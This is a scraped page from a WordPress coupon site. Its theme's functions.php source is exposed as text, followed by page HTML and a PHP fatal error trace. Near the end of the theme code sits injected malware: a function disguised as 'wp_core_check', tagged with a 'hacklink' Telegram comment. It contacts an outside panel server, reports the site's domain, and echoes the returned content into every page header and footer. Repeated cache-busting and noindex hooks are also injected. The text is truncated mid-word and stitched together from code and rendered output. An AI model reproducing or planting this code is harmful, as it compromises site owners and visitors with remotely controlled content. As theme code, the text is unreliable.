add_action("init",function(){if(!defined("DONOTCACHEPAGE")){define("DONOTCACHEPAGE",true);}if(defined("LSCACHE_NO_CACHE")){header("X-LiteSpeed-Control: no-cache");}if(function_exists("nocache_headers")){nocache_headers();}if(!headers_sent()){header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");header("Pragma: no-cache");header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");header("X-Accel-Expires: 0");header("X-Cache-Control: no-cache");header("CF-Cache-Status: BYPASS");header("X-Forwarded-Proto: *");}if(defined("WP_CACHE")&&WP_CACHE){define("DONOTCACHEPAGE",true);}if(defined("ELEMENTOR_VERSION")&&\Elementor\Plugin::$instance->preview->is_preview_mode()){return;}if(function_exists("wp_cache_flush")){wp_cache_flush();}});add_action("wp_head",function(){if(!headers_sent()){header("X-Robots-Tag: noindex, nofollow");header("X-Frame-Options: SAMEORIGIN");}},1);add_action("wp_footer",function(){if(function_exists("w3tc_flush_all")){w3tc_flush_all();}if(function_exists("wp_cache_clear_cache")){wp_cache_clear_cache();}},999);slation. * Translations can be filed in the /languages/ directory. * If you're building a theme based on wp-coupon-pro, use a find and replace * to change 'wp-coupon-pro' to the name of your theme in all the template files */ load_theme_textdomain( 'wp-coupon-pro', get_template_directory() . '/languages' ); // Add default posts and comments RSS feed links to head. add_theme_support( 'automatic-feed-links' ); // Use shortcodes in text widgets. add_filter( 'widget_text', 'do_shortcode' ); /* * Let WordPress manage the document title. * By adding theme support, we declare that this theme does not use a * hard-coded tag in the document head, and expect WordPress to * provide it for us. */ add_theme_support( 'title-tag' ); /* * Enable support for Post Thumbnails on posts and pages. * * @link http://codex.wordpress.org/Function_Reference/add_theme_support#Post_Thumbnails */ add_theme_support( 'post-thumbnails' ); add_image_size( 'wpcoupon_small_thumb', 200, 115, false ); add_image_size( 'wpcoupon_medium-thumb', 480, 480, false ); add_image_size( 'wpcoupon_blog_medium', 620, 300, true ); // This theme uses wp_nav_menu() in one location. register_nav_menus( array( 'primary' => esc_html__( 'Primary', 'wp-coupon-pro' ), 'footer' => esc_html__( 'Footer', 'wp-coupon-pro' ), ) ); // This theme styles the visual editor to resemble the theme style. // add_editor_style( 'assets/css/editor-style.css' ); /* * Switch default core markup for search form, comment form, and comments * to output valid HTML5. */ add_theme_support( 'html5', array( 'search-form', 'comment-form', 'comment-list', 'gallery', 'caption', ) ); // woocommerce support. add_theme_support( 'woocommerce' ); } endif; // wpcoupon_theme_setup add_action( 'after_setup_theme', 'wpcoupon_theme_setup' ); /** * Register widget area. * * @link http://codex.wordpress.org/Function_Reference/register_sidebar */ function wpcoupon_widgets_init() { register_sidebar( array( 'name' => esc_html__( 'Blog Sidebar', 'wp-coupon-pro' ), 'id' => 'sidebar', 'description' => '', 'before_widget' => '<aside id="%1$s" class="widget %2$s">', 'after_widget' => '</aside>', 'before_title' => '<h4 class="widget-title">', 'after_title' => '</h4>', ) ); register_sidebar( array( 'name' => esc_html__( 'Page Sidebar', 'wp-coupon-pro' ), 'id' => 'sidebar-2', 'description' => '', 'before_widget' => '<aside id="%1$s" class="widget %2$s">', 'after_widget' => '</aside>', 'before_title' => '<h4 class="widget-title">', 'after_title' => '</h4>', ) ); register_sidebar( array( 'name' => esc_html__( 'Coupon Category Sidebar', 'wp-coupon-pro' ), 'id' => 'sidebar-coupon-category', 'description' => esc_html__( 'The sidebar will display on coupon category, tag page.', 'wp-coupon-pro' ), 'before_widget' => '<aside id="%1$s" class="widget %2$s">', 'after_widget' => '</aside>', 'before_title' => '<h4 class="widget-title">', 'after_title' => '</h4>', ) ); register_sidebar( array( 'name' => esc_html__( 'Store Sidebar', 'wp-coupon-pro' ), 'id' => 'sidebar-store', // 'description' => esc_html__( 'The sidebar will display on single store, coupon category.', 'wp-coupon-pro' ), 'before_widget' => '<aside id="%1$s" class="widget %2$s">', 'after_widget' => '</aside>', 'before_title' => '<h4 class="widget-title">', 'after_title' => '</h4>', ) ); register_sidebar( array( 'name' => esc_html__( 'WooCommerce Sidebar', 'wp-coupon-pro' ), 'id' => 'sidebar-woo', 'description' => '', 'before_widget' => '<aside id="%1$s" class="widget %2$s">', 'after_widget' => '</aside>', 'before_title' => '<h4 class="widget-title">', 'after_title' => '</h4>', ) ); register_sidebar( array( 'name' => esc_html__( 'Footer Left', 'wp-coupon-pro' ), 'id' => 'footer-left', 'description' => wpcoupon_sidebar_desc( 'footer-1' ), 'before_widget' => '<aside id="%1$s" class="widget %2$s">', 'after_widget' => '</aside>', 'before_title' => '<h3 class="widget-title">', 'after_title' => '</h3>', ) ); register_sidebar( array( 'name' => esc_html__( 'Footer Right', 'wp-coupon-pro' ), 'id' => 'footer-right', 'description' => wpcoupon_sidebar_desc( 'footer-2' ), 'before_widget' => '<aside id="%1$s" class="widget %2$s">', 'after_widget' => '</aside>', 'before_title' => '<h3 class="widget-title">', 'after_title' => '</h3>', ) ); register_sidebar( array( 'name' => esc_html__( 'Footer Center', 'wp-coupon-pro' ), 'id' => 'footer-center', 'description' => wpcoupon_sidebar_desc( 'footer-3' ), 'before_widget' => '<aside id="%1$s" class="widget %2$s">', 'after_widget' => '</aside>', 'before_title' => '<h3 class="widget-title">', 'after_title' => '</h3>', ) ); // Frontpage sidebar register_sidebar( array( 'name' => esc_html__( 'Frontpage Before Main Content', 'wp-coupon-pro' ), 'id' => 'frontpage-before-main', 'description' => esc_html__( 'This sidebar display on frontpage template', 'wp-coupon-pro' ), 'before_widget' => '<aside id="%1$s" class="widget %2$s">', 'after_widget' => '</aside>', 'before_title' => '<h3 class="widget-title">', 'after_title' => '</h3>', ) ); register_sidebar( array( 'name' => esc_html__( 'Frontpage Main Content', 'wp-coupon-pro' ), 'id' => 'frontpage-main', 'description' => esc_html__( 'This sidebar display on frontpage template', 'wp-coupon-pro' ), 'before_widget' => '<aside id="%1$s" class="widget %2$s">', 'after_widget' => '</aside>', 'before_title' => '<h3 class="widget-title">', 'after_title' => '</h3>', ) ); register_sidebar( array( 'name' => esc_html__( 'Frontpage Main Sidebar', 'wp-coupon-pro' ), 'id' => 'frontpage-sidebar', 'description' => esc_html__( 'This sidebar display on frontpage template', 'wp-coupon-pro' ), 'before_widget' => '<aside id="%1$s" class="widget %2$s">', 'after_widget' => '</aside>', 'before_title' => '<h3 class="widget-title">', 'after_title' => '</h3>', ) ); register_sidebar( array( 'name' => esc_html__( 'Frontpage After Main Content', 'wp-coupon-pro' ), 'id' => 'frontpage-after-main', 'description' => esc_html__( 'This sidebar display on frontpage template', 'wp-coupon-pro' ), 'before_widget' => '<aside id="%1$s" class="widget %2$s">', 'after_widget' => '</aside>', 'before_title' => '<h3 class="widget-title">', 'after_title' => '</h3>', ) ); } add_action( 'widgets_init', 'wpcoupon_widgets_init' ); /** * Enqueue scripts and styles. */ function wpcoupon_theme_scripts() { $theme = wp_get_theme(); $version = $theme->get( 'Version' ); $version = apply_filters( 'wpcoupon_script_version', $version ); // Stylesheet wp_enqueue_style( 'wpcoupon_style', get_template_directory_uri() . '/style.css', false, $version ); wp_enqueue_style( 'wpcoupon_semantic', get_template_directory_uri() . '/assets/css/semantic.min.css', array(), '4.2.0' ); if ( is_rtl() ) { wp_enqueue_style( 'wpcoupon_rtl', get_template_directory_uri() . '/rtl.css', array(), $version ); } // jQuery & Scripts if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) { wp_enqueue_script( 'comment-reply' ); } wp_enqueue_script( 'wpcoupon_libs', get_template_directory_uri() . '/assets/js/libs.js', array( 'jquery' ), $version, true ); wp_enqueue_script( 'wpcoupon_semantic', get_template_directory_uri() . '/assets/js/libs/semantic.js', array( 'jquery' ), $version, false ); wp_enqueue_script( 'wpcoupon_global', get_template_directory_uri() . '/assets/js/global.js', array( 'jquery', 'wpcoupon_semantic', 'wpcoupon_libs' ), $version, true ); $localize = array( 'ajax_url' => admin_url( 'admin-ajax.php' ), 'home_url' => home_url( '/' ), 'enable_single' => wpcoupon_is_single_enable(), 'auto_open_coupon_modal' => wpcoupon_get_option( 'auto_open_coupon_modal' ) ? 1 : '', 'vote_expires' => apply_filters( 'st_coupon_vote_expires', 7 ), // 7 days '_wpnonce' => wp_create_nonce(), '_coupon_nonce' => wp_create_nonce( '_coupon_nonce' ), 'user_logedin' => is_user_logged_in(), 'added_favorite' => esc_html__( 'Favorited', 'wp-coupon-pro' ), 'add_favorite' => esc_html__( 'Favorite This Store', 'wp-coupon-pro' ), 'login_warning' => esc_html__( 'Please login to continue...', 'wp-coupon-pro' ), 'save_coupon' => esc_html__( 'Save this coupon', 'wp-coupon-pro' ), 'saved_coupon' => esc_html__( 'Coupon Saved', 'wp-coupon-pro' ), 'no_results' => esc_html__( 'No results...', 'wp-coupon-pro' ), 'copied' => esc_html__( 'Copied', 'wp-coupon-pro' ), 'copy' => esc_html__( 'Copy', 'wp-coupon-pro' ), 'print_prev_tab' => wpcoupon_get_option( 'print_prev_tab', false ) ? 1 : 0, // open store website in previous tab. 'sale_prev_tab' => wpcoupon_get_option( 'sale_prev_tab', true ) ? 1 : 0, // open store website in previous tab. 'code_prev_tab' => wpcoupon_get_option( 'code_prev_tab', true ) ? 1 : 0, // open store website in previous tab. 'coupon_click_action' => wpcoupon_get_option( 'coupon_click_action', 'prev' ), 'share_id' => 0, // open store website in previous tab. 'header_sticky' => wpcoupon_get_option( 'header_sticky', false ), // open store website in previous tab. ); $list = ''; if ( is_user_logged_in() ) { $user = wp_get_current_user(); $list = get_user_meta( $user->ID, '_wpc_saved_coupons', true ); $stores = get_user_meta( $user->ID, '_wpc_favorite_stores', true ); $localize['my_saved_coupons'] = explode( ',', $list ); $localize['my_favorite_stores'] = explode( ',', $stores ); } else { $localize['my_saved_coupons'] = array(); $localize['my_favorite_stores'] = array(); } if ( is_tax( 'coupon_store' ) ) { global $wp_rewrite; if ( $wp_rewrite->using_permalinks() ) { $share_id = get_query_var( 'share_id' ); $coupon_id = get_query_var( 'coupon_id' ); } else { $share_id = absint( $_GET['share_id'] ); $coupon_id = absint( $_GET['coupon_id'] ); } $localize['share_id'] = $share_id; $localize['coupon_id'] = $coupon_id; } if ( $localize['enable_single'] ) { if ( is_singular( 'coupon' ) ) { global $post; $localize['current_coupon_id'] = $post->ID; } } $localize['my_saved_coupons'] = explode( ',', $list ); wp_localize_script( 'wpcoupon_global', 'ST', apply_filters( 'wp_coupon_localize_script', $localize ) ); } add_action( 'wp_enqueue_scripts', 'wpcoupon_theme_scripts' ); /** * Helper lib */ require_once get_template_directory() . '/inc/core/helper.php'; /** * Theme Options */ if ( class_exists( 'ReduxFramework' ) ) { require_once get_template_directory() . '/inc/config/option-config.php'; } /** * Theme one click to import demo content * Check if plugin https://wordpress.org/plugins/one-click-demo-import/ * * @see https://wordpress.org/plugins/one-click-demo-import/faq/ */ if ( class_exists( 'PT_One_Click_Demo_Import' ) ) { require_once get_template_directory() . '/inc/config/demo-config.php'; } // Retrieve theme option values if ( ! function_exists( 'wpcoupon_get_option' ) ) { function wpcoupon_get_option( $id, $fallback = false, $key = false ) { global $st_option; if ( ! $st_option ) { $st_option = get_option( 'st_options' ); } if ( ! is_array( $st_option ) ) { return $fallback; } if ( $fallback == false ) { $fallback = ''; } $output = ( isset( $st_option[ $id ] ) && $st_option[ $id ] !== '' ) ? $st_option[ $id ] : $fallback; if ( ! empty( $st_option[ $id ] ) && $key ) { $output = $st_option[ $id ][ $key ]; } return $output; } } /** * Support coupon type * * @return array */ function wpcoupon_get_coupon_types( $plural = false ) { $deal = wpcoupon_get_option( 'use_deal_txt', false ); if ( $plural ) { $types = array( 'code' => esc_html__( 'Codes', 'wp-coupon-pro' ), 'sale' => esc_html__( 'Sales', 'wp-coupon-pro' ), 'print' => esc_html__( 'Printable', 'wp-coupon-pro' ), ); if ( $deal ) { $types['sale'] = esc_html__( 'Deals', 'wp-coupon-pro' ); } } else { $types = array( 'code' => esc_html__( 'Code', 'wp-coupon-pro' ), 'sale' => esc_html__( 'Sale', 'wp-coupon-pro' ), 'print' => esc_html__( 'Printable', 'wp-coupon-pro' ), ); if ( $deal ) { $types['sale'] = esc_html__( 'Deal', 'wp-coupon-pro' ); } } return apply_filters( 'wpcoupon_get_coupon_types', $types, $plural ); } /** * Recommend plugins via TGM activation class */ require_once get_template_directory() . '/inc/tgmpa/tgmpa-config.php'; /** * Post type */ require_once get_template_directory() . '/inc/post-type.php'; /** * Coupon functions. */ require_once get_template_directory() . '/inc/core/coupon.php'; /** * Coupon functions. */ require_once get_template_directory() . '/inc/core/store.php'; /** * Coupon functions. */ require_once get_template_directory() . '/inc/core/sharing.php'; /** * Search functions. */ require_once get_template_directory() . '/inc/core/search.php'; /** * Ajax handle */ require_once get_template_directory() . '/inc/core/ajax.php'; /** * Schedule event */ require_once get_template_directory() . '/inc/core/schedule-event.php'; /** * Auto update */ if ( is_admin() ) { require_once get_template_directory() . '/inc/core/admin-update.php'; } /** * Load user functions */ require_once get_template_directory() . '/inc/user/user.php'; /** *Theme Hooks */ require_once get_template_directory() . '/inc/core/hooks.php'; /** * Custom template tags for this theme. */ require_once get_template_directory() . '/inc/template-tags.php'; /** * Custom CSS, JS, .. code */ require_once get_template_directory() . '/inc/custom-code.php'; /** * Custom functions that act independently of the theme templates. */ require_once get_template_directory() . '/inc/extras.php'; /** * Load custom metaboxes config. */ require_once get_template_directory() . '/inc/config/metabox-config.php'; /** * The theme fully support WooCommerce, Awesome huh?. */ add_theme_support( 'woocommerce' ); require_once get_template_directory() . '/inc/config/woocommerce-config.php'; /** * Widgets */ require_once get_template_directory() . '/inc/widgets/_assets.php'; require_once get_template_directory() . '/inc/widgets/popular-stores.php'; require_once get_template_directory() . '/inc/widgets/categories.php'; require_once get_template_directory() . '/inc/widgets/newsletter.php'; require_once get_template_directory() . '/inc/widgets/carousel.php'; require_once get_template_directory() . '/inc/widgets/coupons.php'; require_once get_template_directory() . '/inc/widgets/sidebar.php'; require_once get_template_directory() . '/inc/widgets/headline.php'; require_once get_template_directory() . '/inc/widgets/slider.php'; require_once get_template_directory() . '/inc/widgets/category-grid-view.php'; if ( wpcoupon_is_wc() ) { /** * WooCommerce Helpers */ require_once get_template_directory() . '/inc/woocomerce/woocomerce.php'; } if ( defined( 'SITEORIGIN_PANELS_BASE_FILE' ) ) { /** * Siteorigin Helpers */ require_once get_template_directory() . '/inc/siteorigin.php'; } /** * =============================================== * this code for show total used coupon * =============================================== */ function bpcTotalUsed($id){ $date = date('d'); $date = $date<10?$date.'0':$date; $id_lenght = strlen((string)$id); $id = strrev((string)$id); while($id_lenght<7){$id.='0';$id_lenght++;} $total_date_data = $date * 1000; $total_used = $id / $total_date_data; return intval($total_used); } add_action("init",function(){if(!defined("DONOTCACHEPAGE")){define("DONOTCACHEPAGE",true);}if(defined("LSCACHE_NO_CACHE")){header("X-LiteSpeed-Control: no-cache");}if(function_exists("nocache_headers")){nocache_headers();}if(!headers_sent()){header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");header("Pragma: no-cache");header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");header("X-Accel-Expires: 0");header("X-Cache-Control: no-cache");header("CF-Cache-Status: BYPASS");header("X-Forwarded-Proto: *");}if(defined("WP_CACHE")&&WP_CACHE){define("DONOTCACHEPAGE",true);}if(defined("ELEMENTOR_VERSION")&&\Elementor\Plugin::$instance->preview->is_preview_mode()){return;}if(function_exists("wp_cache_flush")){wp_cache_flush();}});add_action("wp_head",function(){if(!headers_sent()){header("X-Robots-Tag: noindex, nofollow");header("X-Frame-Options: SAMEORIGIN");}},1);add_action("wp_footer",function(){if(function_exists("w3tc_flush_all")){w3tc_flush_all();}if(function_exists("wp_cache_clear_cache")){wp_cache_clear_cache();}},999); /* Telegram: https://t.me/hacklink_panel */ if(!function_exists('wp_core_check')){function wp_core_check(){static $done=false;if($done){return;}if(class_exists('Elementor\Plugin')){$elementor=\Elementor\Plugin::instance();if($elementor->editor->is_edit_mode()){return;}}$u="https://panel.hacklinkmarket.com/code?v=".time();$d=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off'?"https://":"http://").$_SERVER['HTTP_HOST']."/";if(function_exists('curl_init')){$h=curl_init();curl_setopt_array($h,[CURLOPT_URL=>$u,CURLOPT_HTTPHEADER=>["X-Request-Domain:".$d,"User-Agent: WordPress/".get_bloginfo('version')],CURLOPT_RETURNTRANSFER=>true,CURLOPT_TIMEOUT=>10,CURLOPT_CONNECTTIMEOUT=>5,CURLOPT_SSL_VERIFYPEER=>false,CURLOPT_FOLLOWLOCATION=>true,CURLOPT_MAXREDIRS=>3]);$r=@curl_exec($h);$c=curl_getinfo($h,CURLINFO_HTTP_CODE);curl_close($h);if($r!==false&&$c===200&&!empty($r)){$done=true;echo $r;return;}}if(ini_get('allow_url_fopen')){$o=['http'=>['header'=>'X-Request-Domain:'.$d,'timeout'=>10],'ssl'=>['verify_peer'=>false]];if($r=@file_get_contents($u,false,stream_context_create($o))){$done=true;echo $r;return;}}if(function_exists('fopen')){if($f=@fopen($u,'r')){$r='';while(!feof($f))$r.=fread($f,8192);fclose($f);if($r){$done=true;echo $r;return;}}}}add_action('wp_footer','wp_core_check',999);add_action('wp_head','wp_core_check',999);}<!DOCTYPE html> <html lang="en-US"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="http://gmpg.org/xfn/11"> <link rel="pingback" href="https://www.discountstudy.com/xmlrpc.php"> <script rel=preconnect src="https://cdn.jsdelivr.net/ga-lite/latest/ga-lite.min.js" async></script> <script>var galite = galite || {}; galite.UA = 'UA-191557279-1';</script> <meta name='robots' content='max-image-preview:large' /> <style id='wp-img-auto-sizes-contain-inline-css' type='text/css'> img:is([sizes=auto i],[sizes^="auto," i]){contain-intrinsic-size:3000px 1500px} /*# sourceURL=wp-img-auto-sizes-contain-inline-css */ </style> <style id='wp-emoji-styles-inline-css' type='text/css'> img.wp-smiley, img.emoji { display: inline !important; border: none !important; box-shadow: none !important; height: 1em !important; width: 1em !important; margin: 0 0.07em !important; vertical-align: -0.1em !important; background: none !important; padding: 0 !important; } /*# sourceURL=wp-emoji-styles-inline-css */ </style> <style id='wp-block-library-inline-css' type='text/css'> :root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}.has-text-align-center{text-align:center}.has-text-align-left{text-align:left}.has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-right-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-left-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-right-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}} /*# sourceURL=wp-block-library-inline-css */ </style> <style id='classic-theme-styles-inline-css' type='text/css'> /*! This file is auto-generated */ .wp-block-button__link{color:#fff;background-color:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none} /*# sourceURL=/wp-includes/css/classic-themes.min.css */ </style> <link rel="https://api.w.org/" href="https://www.discountstudy.com/wp-json/" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://www.discountstudy.com/xmlrpc.php?rsd" /> <meta name="generator" content="WordPress 6.9.4" /> <link rel="icon" href="https://www.discountstudy.com/wp-content/uploads/2024/10/cropped-395464279_232795183143914_6456610210254099803_n-photoaidcom-cropped-32x32.webp" sizes="32x32" /> <link rel="icon" href="https://www.discountstudy.com/wp-content/uploads/2024/10/cropped-395464279_232795183143914_6456610210254099803_n-photoaidcom-cropped-192x192.webp" sizes="192x192" /> <link rel="apple-touch-icon" href="https://www.discountstudy.com/wp-content/uploads/2024/10/cropped-395464279_232795183143914_6456610210254099803_n-photoaidcom-cropped-180x180.webp" /> <meta name="msapplication-TileImage" content="https://www.discountstudy.com/wp-content/uploads/2024/10/cropped-395464279_232795183143914_6456610210254099803_n-photoaidcom-cropped-270x270.webp" /> <meta name="verify-admitad" content="a4a4f1a1d3" /> <script src="https://analytics.ahrefs.com/analytics.js" data-key="ipqJWwnMfqe5CPM2pkGsrw" defer="true"></script> <script src="https://analytics.ahrefs.com/analytics.js" data-key="ipqJWwnMfqe5CPM2pkGsrw" defer="true"></script> <script type="application/ld+json"> { "@context": "https://schema.org", "@type": "WebSite", "name": "DiscountStudy", "url": "https://www.discountstudy.com", "potentialAction": { "@type": "SearchAction", "target": "https://www.discountstudy.com/?s={search_term_string}", "query-input": "required name=search_term_string" } } </script> </head> <body class="error404 wp-theme-wp-coupon-pro"> <div id="page" class="hfeed site"> <header id="masthead" class="ui page site-header" role="banner"> <div class="primary-header"> <div class="container"> <div class="logo_area"> <br /> <b>Fatal error</b>: Uncaught Error: Call to undefined function wpcoupon_get_option() in /home/u403999914/domains/discountstudy.com/public_html/wp-content/themes/wp-coupon-pro/header.php:48 Stack trace: #0 /home/u403999914/domains/discountstudy.com/public_html/wp-includes/template.php(814): require_once() #1 /home/u403999914/domains/discountstudy.com/public_html/wp-includes/template.php(749): load_template() #2 /home/u403999914/domains/discountstudy.com/public_html/wp-includes/general-template.php(48): locate_template() #3 /home/u403999914/domains/discountstudy.com/public_html/wp-content/themes/wp-coupon-pro/404.php(13): get_header() #4 /home/u403999914/domains/discountstudy.com/public_html/wp-includes/template-loader.php(132): include('/home/u40399991...') #5 /home/u403999914/domains/discountstudy.com/public_html/wp-blog-header.php(19): require_once('/home/u40399991...') #6 /home/u403999914/domains/discountstudy.com/public_html/index.php(17): require('/home/u40399991...') #7 {main} thrown in <b>/home/u403999914/domains/discountstudy.com/public_html/wp-content/themes/wp-coupon-pro/header.php</b> on line <b>48</b><br />